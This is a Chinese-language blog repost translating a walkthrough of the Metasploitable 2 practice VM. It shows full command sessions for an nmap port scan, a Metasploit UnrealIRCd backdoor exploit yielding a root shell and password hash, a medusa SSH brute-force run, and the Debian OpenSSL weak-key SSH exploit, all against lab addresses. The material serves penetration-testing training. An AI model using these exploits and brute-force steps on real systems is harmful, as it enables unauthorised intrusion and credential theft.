又是一篇翻译文,感觉国外大叔们真心不错~很早就看见这篇外文,感觉不错。结果就有人翻译出来了。。。比鸟文好看=。=
====
翻译by:月巴_又鸟
今天要给大家介绍的是Metasploitable漏洞演练系统,他的作用是用来作为MSF攻击用的靶机,他是一个具有无数未打补丁漏洞与开放了无数高危端口的渗透演练系统,在这里,猥琐的黑阔们可以尽情地想出各种淫荡的思路对这个渗透演练系统进行攻击,当一个猥琐的思路不行时你马上可以换一个新的猥琐思路,这也是”回溯(backtarck)”的精髓吧!
废话不多说,马上进入正题( ̄▽ ̄):
系统简介:
Metasploitable是一个虚拟机文件,从网上下载解压之后就可以直接使用,无需安装。Metasploitable基于Ubuntu Linux,由于基于Ubuntu,用起来十分得心应手。Metasploitbale建立的初衷,其实就是为了测试一下本家的MSF漏洞框架集工具,所以,它的内核是2.6.24,而且一般在Liunx会产生问题的服务、工具或者软件它都集齐了(请看下文…)。版本2添加了更多的漏洞,而且更让人兴奋的是,系统搭载了DVWA、Mutillidae等Web漏洞演练平台。什么?不懂这是什么?
请自行到我国优秀网络安全资讯站Freebuf的文章《十大渗透测试演练系统》脑补<( ̄) ̄)>……
如何开始
虚拟机设置完毕后, 就可以登录Metasploitable啦,用户名是 :msfadmin 密码是: msfadmin. 在shell中执行ifconfig命令来查看你的IP 地址.
msfadmin@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1
inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
开启的服务
开启网络之后,我们就可以在我们的攻击主机(类似BackTrack或是Kali)开始我们的渗透之旅了, 渗透的第一步当然是识别出那些端口和服务是开放着啦。在我们用神器Nmap扫描过后,我们可以发现Metasploitable开放着一些众多端口:
root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2013-05-29 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)
呵呵,如果在真实情况下看到目标机开这么多端口,是不是做梦都会笑醒捏~( ̄▽ ̄)~*
实例演示:
举个栗子,在6667端口, Metasploitable运行着 UnreaIRCD IRC 后台守护程序,这个版本存在一个自动向其他正在监听状态中的端口发送一个紧跟“AB”信件的系统命令的漏洞(国外文章翻译,我也不知它在讲个什么杰宝~~~<( ̄) ̄)>)
./msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667…
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname…
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn’t resolve your hostname; using your IP address instead
[*] Sending backdoor command…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: “8bMUYsfmGvOLHBxe\r\n”
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700
id
uid=0(root) gid=0(root)
cat /etc/passwd | grep root
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9ELid.:14747:0:99999:7:::
暴力破解弱口令:
为了增加可玩性, Metasploit2 的密码强度设置十分糟糕,从系统账号到数据库账号 除了一个密码和账户名相同(msfadmin)的账号 ,它的系统还存在下表所示的弱密码,真是弱爆了啊. 而且ssh也无加密呀,利用medusa工具暴力破解ssh,即可快速暴力破解。
root@bt :/medusa –h 192.168.235.12 –U /home/test/user.txt –P /home/test/word.txt –M ssh
很轻松就跑出了下面的密码
ACCOUNT FOUND : [ssh] host:192.168.235.12 User:user Password:user [SUCCEED]
ACCOUNT FOUND : [ssh] host:192.168.235.12 User:msfadmin Password:msfadmin [SUCCEED]
ACCOUNT FOUND : [ssh] host:192.168.235.12 User:klog Password:123456789 [SUCCEED]
Metasploitable官方专栏:http://www.offensive-security.com/metasploit-unleashed/Metasploitable
Metasploitable下载地址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2
============
对metasploitable的一次真实的渗透
发现主机开启ssh,先搜搜exploit-db.
root@bt:/pentest/exploits/exploitdb# ./searchsploit openssl
Description Path
————————————————————————— ————————-Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit /multiple/remote/5622.txt
Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (ruby) /multiple/remote/5632.rb
Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (Python) /linux/remote/5720.py
OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit /multiple/dos/8873.c
OpenSSL ASN1 BIO Memory Corruption Vulnerability /multiple/dos/18756.txt
挑一个python的exp(5720.pl),打开瞧瞧,就会发现贴心的用法
# Autor: hitz - WarCat team (warcat.no-ip.org)
# Collaborator: pretoriano
#
# 1. Download http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 #
# 2. Extract it to a directory
#
# 3. Execute the python script
# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
# - execute: python exploit.py (without parameters) to display the help
# - if the key is found, the script shows something like that:
# Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
# Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
好吧开干
下载私钥
wget http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
解压之
tar jxvf debian_ssh_rsa_2048_x86.tar.bz2
运行exploit尝试私钥登录
root@bt:~/Desktop# python 5720.py
help:
-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
./exploit.py
root@bt:~/Desktop# python 5720.py ~/Desktop/rsa/2048/ 192.168.1.103 root
等到花儿谢了之后,发现成功了
赶紧试一试.
root@bt:~/Desktop# ssh -lroot -p22 -i /root/Desktop/rsa/2048//57c3115d77c56390332dc5c49978627a-5429 192.168.1.103
Last login: Thu Jun 21 21:06:33 2012 from 192.168.1.100
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
我勒个去,真登录进去了,这尼玛太也容易了.
搭载Web漏洞演练系统
Metasploitable已经帮你提前安装了Web漏洞演练系统,当你打开Metasploitable并接入网络后,Web服务器就会自动开启。此时你只需打开浏览器,输入Metasploitable主机的IP地址,如果打开如下图所示,则说明你打开的姿势没错啦~~~~ ̄ε  ̄
点击主页上的连接,你就可以进入到各个不同的Web漏洞演练系统啦。Metasploitable上配置的Web漏洞演练系统有如下几个:
mutillidae (NOWASP Mutillidae 2.1.19)
dvwa (Damn Vulnerable Web Application)
tikiwiki (TWiki)
dav (WebDav)
Mutillidae
Maeutillid这个漏洞演练系统是专门为OWASP Top Ten服务的,针对OWASP提出的10个常见的Web漏洞,Mutillidae对每一个漏洞都制作了题集,类似于DVWA。不仅有OWASP的十大Web漏洞,Mutillidae还包括了像HTML-5 web存储、表单缓存、点击劫持等新兴的漏洞。由于被DVWA的灵感所触发,Mutillidae也允许用户自行调节难度,但不是DVWA的“高中低”难度哦~~是从0(完全没有防御)到5(无懈可击)5个等级呢~~而且还能设置是否提供暗示,哎呦不错哦~太人性化了呀(= ̄ω ̄=)
如果这个系统被你玩坏鸟,别急别急,点击“Reset D”按钮,Mutillidae就会马上满血满蓝复活~~~(客官,快用力,玩坏我吧~~ ~( ̄▽ ̄)~)
视频连接地址:http://www.youtube.com/user/webpwnized
===========
好吧,作者挺幽默的。。
出处:http://metasploit.lofter.com/post/d9d60_6a924d
原文:https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide